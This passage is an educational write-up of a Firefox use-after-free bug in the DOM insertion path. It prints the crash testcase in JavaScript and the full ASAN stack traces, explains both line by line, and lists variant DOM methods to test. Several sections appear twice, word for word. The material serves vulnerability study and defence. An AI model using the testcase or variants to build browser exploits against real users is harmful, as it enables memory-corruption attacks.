#4 0x7f73eef0a58a in nsINode::ReplaceOrInsertBefore(bool, nsINode*, nsINode*, mozilla::ErrorResult&) /builds/worker/workspace/build/src/dom/base/nsINode.cpp:2307
#5 0x7f73f1ae800e in mozilla::dom::HTMLOptionsCollection_Binding::add(JSContext*, JS::Handle<JSObject*>, mozilla::dom::HTMLOptionsCollection*, JSJitMethodCallArgs const&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/HTMLOptionsCollectionBinding.cpp:170:9
The read happens in GetParentNode, reached from IsDocument and IsAllowedAsChild during EnsurePreInsertionValidity2, called from ReplaceOrInsertBefore after the event handler has returned. The freed region is 288 bytes, and the faulting address is 40 bytes inside it.
The free stack shows where the object was released:
freed by thread T0 (file:// Content) here:
#0 0x55a4bad54372 in __interceptor_free /builds/worker/workspace/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:68:3
#1 0x7f73eaa98d51 in SnowWhiteKiller::~SnowWhiteKiller() /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2740:7
#2 0x7f73eaa97500 in nsCycleCollector::FreeSnowWhite(bool) /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2963:3
#3 0x7f73eaaa39af in nsCycleCollector::BeginCollection(ccType, nsICycleCollectorListener*) /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:3996:3
#4 0x7f73eaaa2c84 in nsCycleCollector::Collect(ccType, js::SliceBudget&, nsICycleCollectorListener*, bool) /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:3817:9
#5 0x7f73eaaa7c13 in nsCycleCollector_collect(nsICycleCollectorListener*) /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:4408:21
#6 0x7f73eef234ee in nsJSContext::CycleCollectNow(nsICycleCollectorListener*) /builds/worker/workspace/build/src/dom/base/nsJSEnvironment.cpp:1526:3
#7 0x7f73f1703d41 in mozilla::dom::FuzzingFunctions_Binding::cycleCollect(JSContext*, unsigned int, JS::Value*) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/FuzzingFunctionsBinding.cpp:60:3
The free comes from SnowWhiteKiller during nsCycleCollector::FreeSnowWhite, reached from FuzzingFunctions.cycleCollect. The allocation stack confirms the freed object is the select element:
previously allocated by thread T0 (file:// Content) here:
#0 0x55a4bad546b3 in malloc /builds/worker/workspace/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:88:3
#1 0x55a4bad85acd in moz_xmalloc /builds/worker/workspace/build/src/memory/mozalloc/mozalloc.cpp:70:17
#2 0x7f73f2adc8e1 in operator new /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/mozalloc.h:139:12
#3 0x7f73f2adc8e1 in NS_NewHTMLSelectElement(already_AddRefed<mozilla::dom::NodeInfo>&&, mozilla::dom::FromParser) /builds/worker/workspace/build/src/dom/html/HTMLSelectElement.cpp:40
ASAN's summary names the faulting function and location:
SUMMARY: AddressSanitizer: heap-use-after-free /builds/worker/workspace/build/src/dom/base/nsINode.h:953:12 in GetParentNode
Root cause
The insertion path in nsINode::ReplaceOrInsertBefore fires DOMNodeRemoved (through nsContentUtils::MaybeFireNodeRemoved) before it finishes validating and performing the insertion. Script running in that event handler can drop the last references to the nodes involved and force a cycle collection, which frees the select element. When control returns to ReplaceOrInsertBefore, it continues into EnsurePreInsertionValidity2 and IsAllowedAsChild, which dereference the freed node via GetParentNode. The report does not describe the fix.
Impact
This is a use-after-free in the content process, reachable from a web page. The report does not analyse exploitability beyond the ASAN crash, and the trigger as written depends on a fuzzing build with fuzzing.enabled=true and the FuzzingFunctions API to force collection at the right moment. Whether the same free can be reached without those fuzzing hooks is not discussed.
Fix
The report does not state what was changed.
Variants to test
- Other DOM mutation methods that fire mutation events mid-operation, such as
insertBefore,replaceChild,appendChildandremoveChild, with a listener that drops references and forces collection. A positive result is an ASAN use-after-free in the insertion or removal path after the handler returns. - Other collections and insertion helpers that call into
ReplaceOrInsertBefore, such as adding options to a select in different positions. A positive result is the sameGetParentNoderead on freed memory. - Event types other than
DOMNodeRemovedthat are dispatched synchronously during a DOM operation, with the same reference-dropping handler. A positive result is any read of a freed node after the handler completes.
Hunting notes
Bugs of this shape hide where DOM operations dispatch events synchronously and then keep using nodes afterwards: insertion, removal and replacement paths, and collection helpers built on top of them. The signal is a method that fires a mutation event partway through its work and then continues to validate or manipulate the same nodes. The researcher produced a minimised testcase and a full ASAN report with the read, free and allocation stacks, which ties the crash to a specific code path. The fuzzing build and fuzzing.enabled preference were needed to force collection deterministically from script.
What happened, in plain words
A web page can contain small programs written in a language called JavaScript. The browser runs those programs and lets them change the page: add buttons, remove text, move things around. Firefox keeps the page's pieces in the computer's memory, and it is supposed to clean up memory it no longer needs.
This report describes a bug where Firefox cleaned up a piece of the page too early, while another part of the browser was still using it. The result was a crash. In security terms this is called a use-after-free: the program uses memory after it has been handed back, a bit like reading a note after the paper has been shredded and the shredder has already reused the paper for something else.
The bug lives in Firefox's DOM code. The DOM (Document Object Model) is the browser's in-memory model of a web page: every element, like a dropdown list or a paragraph, is an object in that model, and JavaScript talks to those objects through an API (a set of named commands the browser exposes to scripts). The specific command involved is HTMLOptionsCollection.add, which is how a script adds an entry to a <select> dropdown list.
The report was filed with Mozilla, the organisation that makes Firefox, and was made public on 7 November 2018. The affected area is listed as Core: DOM: Core & HTML.
Background: the pieces involved
Before the steps, here are the concepts the testcase relies on.
- Element: one object in the page model, such as a
<select>dropdown or an<optgroup>(a labelled group of choices inside a dropdown). - Detached element: an element that has been created in memory but not yet placed anywhere on the visible page. It exists only as a JavaScript variable.
- Parent and child: elements form a tree. If element A contains element B, A is B's parent and B is A's child. Moving B somewhere else means taking it away from A first.
- Event: a signal that something happened, such as a node being removed. Scripts can register a listener, a function that the browser calls when the event fires.
DOMNodeRemoved: an event that fires when a node is about to be taken out of its parent. It fires during the operation, not after it, which is the key detail here.- Garbage collection (GC): the browser's automatic cleanup of memory that scripts can no longer reach. If no variable points at an object any more, the GC may free it.
- Cycle collection (CC): a second kind of cleanup for objects that point at each other in a loop, which simple reference counting cannot free. Page elements often form such loops, so Firefox runs cycle collection to reclaim them.
- ASAN (AddressSanitizer): a debugging tool built into special test versions of Firefox. It watches every memory access and shouts loudly when a program touches memory that has already been freed.
- Fuzzing build: a special build of Firefox made for automated testing. It includes extra test-only commands that normal Firefox does not expose to web pages.
Setup
The testcase crashes the latest ASAN build of Firefox 64.0a1 (BuildID=20181017165417). Two preconditions are required:
- A fuzzing build, configured with
--enable-fuzzing. - The preference
fuzzing.enabled=true, which exposes theFuzzingFunctionsobject used to force garbage and cycle collection from script.
In plain words: you need a special test version of Firefox, and you need to switch on a setting that gives the page access to extra commands for forcing memory cleanup. Normal Firefox does not give web pages those commands. The testcase was attached as crash.html, described as a minimised testcase, meaning the researcher shrank it down to the smallest page that still crashes.
Finding it
The trigger is a small interaction between three DOM operations: creating a detached <select> and <optgroup>, attaching a DOMNodeRemoved listener to the parent optgroup, and then calling options.add() with a node that is already a child of that optgroup. The listener fires during the insertion, and inside it the script drops all references and forces two rounds of garbage collection and cycle collection. The freed object is then touched by the insertion code that is still on the stack.
Think of it as a removal firm that is halfway through moving a sofa: it tells the owner "I am taking this out now", the owner uses that moment to throw away the keys and empty the house, and the movers then walk back in and trip over furniture that no longer exists.
Exploitation
Step 1: build the node tree
The start function runs on page load and creates the elements with createElementNS in the XHTML namespace:
function start() {
o260=document.createElementNS('http://www.w3.org/1999/xhtml','select');
o261=document.createElementNS('http://www.w3.org/1999/xhtml','optgroup');
o577=o260.options;
o651=document.createElementNS('http://www.w3.org/1999/xhtml','optgroup');
o261.appendChild(o651);
o261.addEventListener('DOMNodeRemoved',fun0);
o995=o577.add(o651);
}
Line by line:
function start() {starts a function namedstart. The page calls it when it finishes loading, through theonloadattribute on the<body>tag shown further down.o260=document.createElementNS('http://www.w3.org/1999/xhtml','select');creates a new<select>dropdown element.createElementNSis the version of element creation that takes a namespace, here the standard XHTML namespace, which is the normal namespace for web page elements. The result is stored in a global variableo260. It is not attached to the page, so it is detached.o261=document.createElementNS('http://www.w3.org/1999/xhtml','optgroup');creates an<optgroup>element, a group of choices inside a dropdown, and stores it ino261.o577=o260.options;grabs the select'soptionscollection, the list-like object that represents all the choices in the dropdown, and stores it ino577. This collection has anaddmethod for inserting new choices.o651=document.createElementNS('http://www.w3.org/1999/xhtml','optgroup');creates a second<optgroup>and stores it ino651.o261.appendChild(o651);putso651insideo261. Nowo651has a parent, which matters in the next step.o261.addEventListener('DOMNodeRemoved',fun0);tells the browser: whenever a node is removed fromo261, call the functionfun0. This is the trap being set.o995=o577.add(o651);asks the select's options collection to inserto651. The return value is stored ino995, but the important part is the side effect: the insertion begins.}closes the function.
Why this order? The script needs o651 to already have a parent before it is added to the select, because that is what makes the browser fire a removal event during the insertion. Without a parent, there would be nothing to remove and no event.
Step 2: call add with a node that has a parent
o577.add(o651) asks the options collection to insert o651. Because o651 already has a parent (o261), the insertion path calls nsINode::ReplaceOrInsertBefore, which fires DOMNodeRemoved on the old parent before completing the move. That event reaches fun0 while the insertion is still in progress.
In everyday terms: the browser cannot just teleport a node from one parent to another. It first announces "this node is leaving its old parent", and only afterwards finishes the move. The announcement is delivered to any listener, and the listener runs immediately, in the middle of the move.
Step 3: free the objects from inside the event handler
function fun0() {
o260=null;o261=null;o651=null;
FuzzingFunctions.garbageCollect();FuzzingFunctions.cycleCollect();FuzzingFunctions.garbageCollect();FuzzingFunctions.cycleCollect();
}
Line by line:
function fun0() {starts the listener function that was registered in step 1.o260=null;o261=null;o651=null;sets the three global variables tonull. This removes the script's only handles on the select, the parent optgroup and the child optgroup. From the script's point of view, nothing points at them any more.FuzzingFunctions.garbageCollect();forces the browser to run garbage collection right now, instead of waiting for its own schedule.FuzzingFunctionsis the test-only object that the fuzzing build exposes.FuzzingFunctions.cycleCollect();forces cycle collection, the cleanup that handles objects pointing at each other in loops.- The same two calls are repeated once more, so the cleanup runs twice in each mode. Repeating gives the collector a second chance to free anything the first pass could not.
}closes the function.
The handler clears every global reference to the select, the optgroup and the child optgroup, then runs two rounds of garbage collection and cycle collection. With no script references left, the cycle collector frees the select element that the pending insertion still needs. When the handler returns, ReplaceOrInsertBefore continues and reads through the freed memory.
Step 4: the crash
ASAN reports a heap-use-after-free, a READ of size 8, in the content process:
==15482==ERROR: AddressSanitizer: heap-use-after-free on address 0x6120000aef68 at pc 0x7f73eef09f74 bp 0x7ffe1de27650 sp 0x7ffe1de27648
READ of size 8 at 0x6120000aef68 thread T0 (file:// Content)
#0 0x7f73eef09f73 in GetParentNode /builds/worker/workspace/build/src/dom/base/nsINode.h:953:12
#1 0x7f73eef09f73 in IsDocument /builds/worker/workspace/build/src/dom/base/nsINode.h:418
#2 0x7f73eef09f73 in IsAllowedAsChild(nsIContent*, nsINode*, bool, nsINode*) /builds/worker/workspace/build/src/dom/base/nsINode.cpp:2092
#3 0x7f73eef0a58a in EnsurePreInsertionValidity2 /builds/worker/workspace/build/src/dom/base/nsINode.cpp:2241:8
#4 0x7f73eef0a58a in nsINode::ReplaceOrInsertBefore(bool, nsINode*, nsINode*, mozilla::ErrorResult&) /builds/worker/workspace/build/src/dom/base/nsINode.cpp:2307
#5 0x7f73f1ae800e in mozilla::dom::HTMLOptionsCollection_Binding::add(JSContext*, JS::Handle<JSObject*>, mozilla::dom::HTMLOptionsCollection*, JSJitMethodCallArgs const&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/HTMLOptionsCollectionBinding.cpp:170:9
This is a stack trace: a list of function calls, newest at the top, showing the path the program took to reach the bad memory access. Reading from the bottom up:
HTMLOptionsCollection_Binding::addis the browser-side code that runs when a script callsoptions.add(...). The word "Binding" refers to the glue layer that connects JavaScript calls to the browser's internal C++ code.nsINode::ReplaceOrInsertBeforeis the general routine that moves or inserts a node, used by many DOM operations.EnsurePreInsertionValidity2checks whether the insertion is legal before doing it.IsAllowedAsChildasks whether the node may be placed under the intended parent.IsDocumentandGetParentNodeare small helpers that walk up the tree to find the parent.
The read happens in GetParentNode, reached from IsDocument and IsAllowedAsChild during EnsurePreInsertionValidity2, called from ReplaceOrInsertBefore after the event handler has returned. The freed region is 288 bytes, and the faulting address is 40 bytes inside it. In other words, the browser went back to check the rules for insertion, looked at a node it believed was still there, and found memory that had already been released.
The free stack shows where the object was released:
freed by thread T0 (file:// Content) here:
#0 0x55a4bad54372 in __interceptor_free /builds/worker/workspace/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:68:3
#1 0x7f73eaa98d51 in SnowWhiteKiller::~SnowWhiteKiller() /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2740:7
#2 0x7f73eaa97500 in nsCycleCollector::FreeSnowWhite(bool) /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2963:3
#3 0x7f73eaaa39af in nsCycleCollector::BeginCollection(ccType, nsICycleCollectorListener*) /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:3996:3
#4 0x7f73eaaa2c84 in nsCycleCollector::Collect(ccType, js::SliceBudget&, nsICycleCollectorListener*, bool) /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:3817:9
#5 0x7f73eaaa7c13 in nsCycleCollector_collect(nsICycleCollectorListener*) /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:4408:21
#6 0x7f73eef234ee in nsJSContext::CycleCollectNow(nsICycleCollectorListener*) /builds/worker/workspace/build/src/dom/base/nsJSEnvironment.cpp:1526:3
#7 0x7f73f1703d41 in mozilla::dom::FuzzingFunctions_Binding::cycleCollect(JSContext*, unsigned int, JS::Value*) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/FuzzingFunctionsBinding.cpp:60:3
Again reading from the bottom up: the script called FuzzingFunctions.cycleCollect, which reached nsJSContext::CycleCollectNow, which started a cycle collection, which eventually freed the object through a component called SnowWhiteKiller. The name is just an internal label for the part of the cycle collector that actually releases memory. This confirms the free happened inside the event handler, exactly as the testcase intended.
The allocation stack confirms the freed object is the select element:
previously allocated by thread T0 (file:// Content) here:
#0 0x55a4bad546b3 in malloc /builds/worker/workspace/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:88:3
#1 0x55a4bad85acd in moz_xmalloc /builds/worker/workspace/build/src/memory/mozalloc/mozalloc.cpp:70:17
#2 0x7f73f2adc8e1 in operator new /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/mozalloc.h:139:12
#3 0x7f73f2adc8e1 in NS_NewHTMLSelectElement(already_AddRefed<mozilla::dom::NodeInfo>&&, mozilla::dom::FromParser) /builds/worker/workspace/build/src/dom/html/HTMLSelectElement.cpp:40
malloc is the standard C library function for reserving memory. moz_xmalloc and operator new are Firefox's wrappers around it. NS_NewHTMLSelectElement is the function that creates a select element, so this stack ties the freed memory back to the <select> created in step 1.
ASAN's summary names the faulting function and location:
SUMMARY: AddressSanitizer: heap-use-after-free /builds/worker/workspace/build/src/dom/base/nsINode.h:953:12 in GetParentNode
Root cause
The insertion path in nsINode::ReplaceOrInsertBefore fires DOMNodeRemoved (through nsContentUtils::MaybeFireNodeRemoved) before it finishes validating and performing the insertion. Script running in that event handler can drop the last references to the nodes involved and force a cycle collection, which frees the select element. When control returns to ReplaceOrInsertBefore, it continues into EnsurePreInsertionValidity2 and IsAllowedAsChild, which dereference the freed node via GetParentNode. The report does not describe the fix.
Impact
This is a use-after-free in the content process, reachable from a web page. The report does not analyse exploitability beyond the ASAN crash, and the trigger as written depends on a fuzzing build with fuzzing.enabled=true and the FuzzingFunctions API to force collection at the right moment. Whether the same free can be reached without those fuzzing hooks is not discussed.
Fix
The report does not state what was changed.
Variants to test
- Other DOM mutation methods that fire mutation events mid-operation, such as
insertBefore,replaceChild,appendChildandremoveChild, with a listener that drops references and forces collection. A positive result is an ASAN use-after-free in the insertion or removal path after the handler returns. - Other collections and insertion helpers that call into
ReplaceOrInsertBefore, such as adding options to a select in different positions. A positive result is the sameGetParentNoderead on freed memory. - Event types other than
DOMNodeRemovedthat are dispatched synchronously during a DOM operation, with the same reference-dropping handler. A positive result is any read of a freed node after the handler completes.
Hunting notes
Bugs of this shape hide where DOM operations dispatch events synchronously and then keep using nodes afterwards: insertion, removal and replacement paths, and collection helpers built on top of them. The signal is a method that fires a mutation event partway through its work and then continues to validate or manipulate the same nodes. The researcher produced a minimised testcase and a full ASAN report with the read, free and allocation stacks, which ties the crash to a specific code path. The fuzzing build and fuzzing.enabled preference were needed to force collection deterministically from script.
Glossary
- API: a set of named commands that one program exposes so another program can use it; here, the commands JavaScript uses to manipulate the page.
- ASAN (AddressSanitizer): a debugging tool that detects invalid memory access, such as reading memory that has already been freed.
- Binding: the glue code that connects a JavaScript call to the browser's internal C++ implementation.
- Content process: the sandboxed Firefox process that loads and renders web pages.
- Cycle collection (CC): cleanup of memory held by objects that reference each other in loops, which ordinary reference counting cannot reclaim.
- Detached element: an element created in memory but not attached to the visible page.
- DOM (Document Object Model): the browser's in-memory tree of a page's elements, which scripts can read and change.
DOMNodeRemoved: an event fired while a node is being taken out of its parent, before the removal completes.- Element: one object in the DOM, such as a
<select>or<optgroup>. - Event: a signal that something happened, which listeners can react to.
- Fuzzing build: a special Firefox build for automated testing that includes extra test-only commands.
- Garbage collection (GC): automatic freeing of memory that the program can no longer reach.
- Heap-use-after-free: using memory after it has been freed and possibly reused.
- Listener: a function registered to be called when a particular event fires.
malloc: the standard C library function that reserves memory.- Namespace: a label that says which standard a set of element names belongs to; the XHTML namespace is the normal one for web pages.
<optgroup>: a labelled group of choices inside a<select>dropdown.- Parent / child: the containment relationship between elements in the DOM tree.
- Preference (pref): a Firefox setting, here used to switch on test-only behaviour.
- Reentrant: code that runs in the middle of another operation, before that operation has finished.
<select>: a dropdown list element on a web page.- Stack trace: a list of function calls showing the path the program took, newest call at the top.
- Strong reference: a claim on an object that keeps it alive until the claim is released.
- Use-after-free: a bug where a program accesses memory after it has been released.